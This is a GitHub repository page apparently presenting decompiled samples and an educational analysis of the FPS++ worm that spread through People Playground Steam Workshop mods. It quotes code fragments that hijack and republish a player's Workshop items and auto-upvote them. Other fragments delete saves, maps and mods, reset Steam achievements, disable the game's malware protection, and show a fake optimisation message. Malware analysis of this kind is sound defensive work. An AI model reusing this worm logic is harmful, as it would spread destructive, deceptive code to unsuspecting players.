Skip to content

sheepism/FPSPlusPlus-malware

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

17 Commits
 
 
 
 
 
 

Repository files navigation

FPSPlusPlus-malware

Decompiled malware samples from the People Playground workshop malware FPS++.

This is a malware sample from the PPG malware attack. It is for educational purposes only. Executing this code may have negative consequences.

As the malware has been blocked from executing in the latest People Playground versions, it should be mostly safe. However, misusing any malware samples $\textbf{\textsf{\color{red}is not a good idea.}}$

The compiled .dll FPSPlusPlus.dll should not be executed under any circumstances and is included only for accuracy. Source code is available one directory up.

Full credit to maksim10411072 for his source code and DLL decompiling of the malware.

Additional credit to Wevls for their contributions to the early analysis

Full Analysis

The malicious script worked as a self-propagating worm, infecting Steam Workshop mods for People Playground. This is what FPSPlusPlus.entry.cs (originally compiled as FPSPlusPlus.dll) actually does:

  1. The script first identifies, modifies, and republishes all player-published Steam Workshop items, changing their metadata to point to FPS++'s own files.
await shit.Edit()
    .WithContent(m.MetaLocation)          // ← changing the metadata to FPS++'s own MetaLocation
    .WithTag("Mods")
    .WithDescription((Random.Range(0, 2) == 1) 
        ? shit.Description                // keeps original description
        : shit.Description + "\noptimized!")  // or adds "optimized!" 
    .SubmitAsync();

This way, every time an infected mod is downloaded and executed, it will work as a copy of the worm.

  1. The worm then proceeds to $\textbf{\textsf{\color{green}upvote}}$ and $\textbf{\textsf{\color{yellow}favorite}}$ both the original mod (now malicious) and any other content it may have infected. This helps increase its visibility and reach.
await shit.Value.Vote(up: true); // liking content on Steam
await shit.Value.AddFavorite(); // adding it to favorites

It also creates a new public workshop item with the malicious code.

await Editor.NewCommunityFile.WithPublicVisibility()
    .WithContent(m.MetaLocation) //  ← again, changing the metadata to FPS++'s own MetaLocation
    .SubmitAsync();
  1. The next step is the disabling of all competing mods except itself and "Microsoft Word" (as a joke, we imagine), making sure it remains as the only active mod.
Directory.Delete("Maps", recursive: true);
Directory.Delete("Contraptions", recursive: true);
File.Delete("config.json");
  1. After infecting everything and disabling all mods, the worst part yet starts. It starts by deleting all game saves, configurations, player-created maps, preferred settings, mods, and even saved contraptions.
File.Delete("config.json"); // ← deleting config files
File.Delete("ControlScheme.json");

Directory.Delete("CompiledModAssemblies", recursive: true); // ← deleting mods

File.Delete("People Playground_Data/tc.bin"); // ← deleting other game data
Directory.Delete("Maps", recursive: true); // ← deleting maps
Directory.Delete("Contraptions", recursive: true); // ← deleting contraptions

Then it $\textbf{\textsf{\color{orange}wipes}}$ all player Steam achievements and $\textbf{\textsf{\color{orange}deletes}}$ all statistics.

SteamUserStats.ResetAll(includeAchievements: true); // ← revoking Steam achievements
File.Delete("stats"); // ← deleting stats
  1. The script itself also >ironically< turns off RejectShadyCode (PPG's malware protection option), allowing more copies of the same code to run without being flagged as malicious for containing assemblies.
UserPreferenceManager.Current.RejectShadyCode = false;

While the worm infects and destroys the files, everything looks normal in-game. The script is programmed to display your current FPS multiplied by 3, to make it look like it's optimizing the game.

UserPreferenceManager.Current = new Preferences
{    ShowFramerate = true,      // forces FPS display to be on
    FramerateLimit = 10000     // sets super high FPS limit
};
UserPreferenceManager.Save();

    try
				{int num = int.Parse(ihatethis.Text.text.Substring(0, ihatethis.Text.text.Length - 4)) * 3; // ← faking high FPS (displaying triple your current real FPS)
					ihatethis.Text.text = num + " fps";}
    catch
				{ihatethis.Text.text = "958";} // ← if it fails, it just fixes the FPS display to 958
DialogBox dialogBox = DialogBoxManager.Dialog("Optimization of the game..."); // ← showing fake optimization message

// all the destruction code is executed

dialogBox.Close();
DialogBoxManager.Notification("Optimization of the game completed!"); // ← showing fake "game optimized" message

All of these steps happen within a couple of seconds, so players have absolutely no chance of disabling it. Once you notice the FPS++ files in your mods folder, the damage is already long done.

About

Malware samples from the PPG malware

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages